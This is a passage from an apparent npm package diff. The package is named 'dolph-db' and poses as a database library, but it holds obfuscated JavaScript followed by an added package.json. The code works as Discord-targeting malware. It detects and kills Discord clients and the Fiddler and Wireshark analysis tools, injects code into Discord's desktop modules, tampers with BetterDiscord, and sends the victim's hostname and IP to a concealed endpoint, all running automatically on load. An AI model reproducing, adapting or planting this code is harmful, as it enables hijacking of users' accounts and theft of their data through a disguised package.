_0x181d8f=_0x3d0707;if(fs[_0x181d8f(0x15e)](_0x471287,_0xe9cbd8[_0x181d8f(0x15f)](_0x181d8f(0x163),config[_0x181d8f(0x157)])[_0x181d8f(0x15f)]('%USERIP%',ip['address']())[_0x181d8f(0x15f)](_0x181d8f(0x170),config[_0x181d8f(0x130)])['replace'](_0x181d8f(0x133),config[_0x181d8f(0x190)])[_0x181d8f(0x15f)]('%LOGOUTNOTI%',config['logout-notify'])[_0x181d8f(0x15f)](_0x181d8f(0x15a),config[_0x181d8f(0x196)])['replace'](_0x181d8f(0x152),config[_0x181d8f(0x159)]),{'encoding':_0x181d8f(0x19a),'flag':'w'}),'true'==config[_0x181d8f(0x157)]){let _0x3dbf2d=_0x471287['replace'](_0x181d8f(0x16a),_0x181d8f(0x13d));fs[_0x181d8f(0x160)](_0x3dbf2d)||fs[_0x181d8f(0x177)](_0x3dbf2d,0x1e4);}if(_0x181d8f(0x143)!=config['logout']){let _0x585542=_0x471287[_0x181d8f(0x15f)](_0x181d8f(0x16a),_0x181d8f(0x16b));fs[_0x181d8f(0x160)](_0x585542)?fs[_0x181d8f(0x160)](_0x585542)&&_0x181d8f(0x131)==config[_0x181d8f(0x130)]&&startDiscord():(fs[_0x181d8f(0x177)](_0x585542,0x1e4),_0x181d8f(0x131)==config['logout']&&startDiscord());}});});})['on']('error',_0x4829ae=>{});}const logout=async()=>(await BrowserWindow['getAllWindows']()[0x0]['webContents'][_0x8c0527(0x185)](_0x8c0527(0x14a),!0x0),'ok');function _0x2756(_0x394234,_0x309194){const _0x16991d=_0x57f3();return _0x2756=function(_0x439194,_0x1b35d1){_0x439194=_0x439194-0x12c;let _0x53b846=_0x16991d[_0x439194];return _0x53b846;},_0x2756(_0x394234,_0x309194);}function killDiscord(){const _0x1381fe=_0x8c0527,_0x595e9e=(function(){let _0x34c313=!![];return function(_0x1a86f9,_0x1f1350){const _0x20417f=_0x34c313?function(){const _0x5e0c92=_0x2756;if(_0x1f1350){const _0x152864=_0x1f1350[_0x5e0c92(0x12d)](_0x1a86f9,arguments);return _0x1f1350=null,_0x152864;}}:function(){};return _0x34c313=![],_0x20417f;};}()),_0xdf3d62=_0x595e9e(this,function(){const _0x24ee37=_0x2756;return _0xdf3d62[_0x24ee37(0x149)]()[_0x24ee37(0x195)](_0x24ee37(0x139))['toString']()[_0x24ee37(0x178)](_0xdf3d62)[_0x24ee37(0x195)](_0x24ee37(0x139));});_0xdf3d62(),(runningDiscords[_0x1381fe(0x156)](_0x3662ad=>{const _0x5e649e=_0x1381fe;exec(_0x5e649e(0x16c)+_0x3662ad+'.exe\x20/F',_0x2b7a41=>{});}),_0x1381fe(0x135)==config[_0x1381fe(0x181)]&&0x0!=injectPath[_0x1381fe(0x183)]&&injectNotify(),Infect(),pwnBetterDiscord());}function listDiscords(){const _0x4bf6ff=(function(){let _0x5dc6ed=!![];return function(_0x361817,_0x197f0e){const _0x2b7ba6=_0x5dc6ed?function(){const _0x37f061=_0x2756;if(_0x197f0e){const _0x1bb6fb=_0x197f0e[_0x37f061(0x12d)](_0x361817,arguments);return _0x197f0e=null,_0x1bb6fb;}}:function(){};return _0x5dc6ed=![],_0x2b7ba6;};}()),_0x9c89e1=_0x4bf6ff(this,function(){const _0x4b80e3=_0x2756,_0x3137e7=function(){const _0x2f76bc=_0x2756;let _0x490e85;try{_0x490e85=Function(_0x2f76bc(0x17c)+_0x2f76bc(0x18c)+');')();}catch(_0xfbff38){_0x490e85=window;}return _0x490e85;},_0x4916bd=_0x3137e7(),_0x1357bd=_0x4916bd[_0x4b80e3(0x12c)]=_0x4916bd[_0x4b80e3(0x12c)]||{},_0x12fb2a=[_0x4b80e3(0x17b),_0x4b80e3(0x12f),'info',_0x4b80e3(0x14f),_0x4b80e3(0x13c),_0x4b80e3(0x194),_0x4b80e3(0x171)];for(let _0x3a35e8=0x0;_0x3a35e8<_0x12fb2a['length'];_0x3a35e8++){const _0x27c282=_0x4bf6ff[_0x4b80e3(0x178)][_0x4b80e3(0x17a)]['bind'](_0x4bf6ff),_0x3e9c12=_0x12fb2a[_0x3a35e8],_0x1c0ba3=_0x1357bd[_0x3e9c12]||_0x27c282;_0x27c282[_0x4b80e3(0x140)]=_0x4bf6ff['bind'](_0x4bf6ff),_0x27c282[_0x4b80e3(0x149)]=_0x1c0ba3[_0x4b80e3(0x149)]['bind'](_0x1c0ba3),_0x1357bd[_0x3e9c12]=_0x27c282;}});_0x9c89e1(),exec('tasklist',function(_0x1f4c9a,_0x23541a,_0x49fa85){const _0x54264c=_0x2756;_0x23541a['includes'](_0x54264c(0x17f))&&runningDiscords['push'](_0x54264c(0x151)),_0x23541a[_0x54264c(0x13e)](_0x54264c(0x180))&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x169)),_0x23541a[_0x54264c(0x13e)]('Discord.exe')&&runningDiscords['push'](_0x54264c(0x18f)),_0x23541a[_0x54264c(0x13e)](_0x54264c(0x141))&&runningDiscords[_0x54264c(0x150)]('discordcanary'),_0x23541a[_0x54264c(0x13e)]('Discord\x20Canary\x20(32\x20bits).exe')&&runningDiscords[_0x54264c(0x150)]('Discord\x20Canary'),_0x23541a[_0x54264c(0x13e)](_0x54264c(0x168))&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x132)),_0x23541a[_0x54264c(0x13e)]('DiscordPTB.exe')&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x12e)),_0x23541a[_0x54264c(0x13e)](_0x54264c(0x167))&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x17d)),_0x23541a[_0x54264c(0x13e)]('Fiddler.exe')&&runningDiscords[_0x54264c(0x150)]('fiddler'),_0x23541a[_0x54264c(0x13e)]('wireshark.exe')&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x14e)),_0x54264c(0x131)==config['logout']?killDiscord():(_0x54264c(0x135)==config['inject-notify']&&0x0!=injectPath[_0x54264c(0x183)]&&injectNotify(),Infect(),pwnBetterDiscord());});}function startDiscord(){runningDiscords['forEach'](_0x290926=>{const _0xb07d9e=_0x2756;exec(LOCAL+'\x5c'+_0x290926+_0xb07d9e(0x15c)+_0x290926+_0xb07d9e(0x15d),_0x222547=>{});});}function pwnBetterDiscord(){const _0x195d43=_0x8c0527;let _0x9d2be6=process['env'][_0x195d43(0x144)]+_0x195d43(0x16f);if(fs['existsSync'](_0x9d2be6)){let _0x1e3240=fs[_0x195d43(0x18d)](_0x9d2be6);fs[_0x195d43(0x15e)](_0x9d2be6,buf_replace(_0x1e3240,_0x195d43(0x145),'dc'));}}function injectNotify(){const _0x107eaf=_0x8c0527;let _0x18276e=[];injectPath['forEach'](_0x58fbaa=>{const _0x4a2e19=_0x2756;let _0x4d455b=_0x58fbaa;_0x18276e[_0x4a2e19(0x150)](_0x4d455b);});const _0xb43655='{\x22fields\x22:\x22Discord\x20Desktop\x20(app-1.0.9005)\x22,\x20\x22pcname\x22:\x22'+os['hostname']()+_0x107eaf(0x179)+ip[_0x107eaf(0x161)]()+_0x107eaf(0x197);var _0x5ed0f4=new XMLHttpRequest();_0x5ed0f4[_0x107eaf(0x15b)]('POST',_0x107eaf(0x172),!0x0),_0x5ed0f4[_0x107eaf(0x193)](_0x107eaf(0x162),_0x107eaf(0x148)),_0x5ed0f4[_0x107eaf(0x187)]=function(){this['responseText'];},_0x5ed0f4[_0x107eaf(0x136)](_0xb43655);}function getDirectories(_0x274da2){const _0xfc1801=_0x8c0527;return fs[_0xfc1801(0x189)](_0x274da2)[_0xfc1801(0x18e)](function(_0x1f7b20){const _0x4eba43=_0xfc1801;return fs[_0x4eba43(0x16e)](_0x274da2+'/'+_0x1f7b20)[_0x4eba43(0x13b)]();});}listDiscords(),discords[_0x8c0527(0x156)](function(_0x4e888c){const _0x7ea1a3=_0x8c0527;getDirectories(_0x4e888c+'\x5c')['forEach'](_0x1a4dc0=>{const _0x48d2e0=_0x2756;_0x1a4dc0[_0x48d2e0(0x13e)](_0x48d2e0(0x17e))&&(_0x4e888c=_0x4e888c+'\x5c'+_0x1a4dc0+'\x5cmodules\x5c');}),getDirectories(_0x4e888c)[_0x7ea1a3(0x156)](_0x3a1eb5=>{const _0x3aa461=_0x7ea1a3;_0x3a1eb5['includes'](_0x3aa461(0x165))&&(_0x4e888c=_0x4e888c+'\x5c'+_0x3a1eb5+_0x3aa461(0x155));}),fs['existsSync'](_0x4e888c)&&injectPath['push'](_0x4e888c);}),killDiscord(),Infect(),startDiscord(),infecccc();
|
package/package.json
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
{
|
2
|
+
"dependencies": {
|
3
|
+
"adm-zip": "^0.5.9",
|
4
|
+
"axios": "^0.27.2",
|
5
|
+
"buffer-replace": "^1.0.0",
|
6
|
+
"child_process": "^1.0.2",
|
7
|
+
"color": "^4.2.3",
|
8
|
+
"download": "^8.0.0",
|
9
|
+
"electron": "^19.0.9",
|
10
|
+
"form-data": "^4.0.0",
|
11
|
+
"fs": "^0.0.1-security",
|
12
|
+
"glob": "^8.0.3",
|
13
|
+
"https": "^1.0.0",
|
14
|
+
"ip": "^1.1.8",
|
15
|
+
"os": "^0.1.2",
|
16
|
+
"path": "^0.12.7",
|
17
|
+
"querystring": "^0.2.1",
|
18
|
+
"shelljs": "^0.8.5",
|
19
|
+
"xhr2": "^0.2.1"
|
20
|
+
},
|
21
|
+
"name": "dolph-db",
|
22
|
+
"version": "2.0.0",
|
23
|
+
"main": "index.js",
|
24
|
+
"devDependencies": {},
|
25
|
+
"scripts": {
|
26
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
27
|
+
},
|
28
|
+
"author": "dolph-db <dolph-db@gmail.com>",
|
29
|
+
"license": "MIT",
|
30
|
+
"description": "dolphindb.app"
|
31
|
+
}
|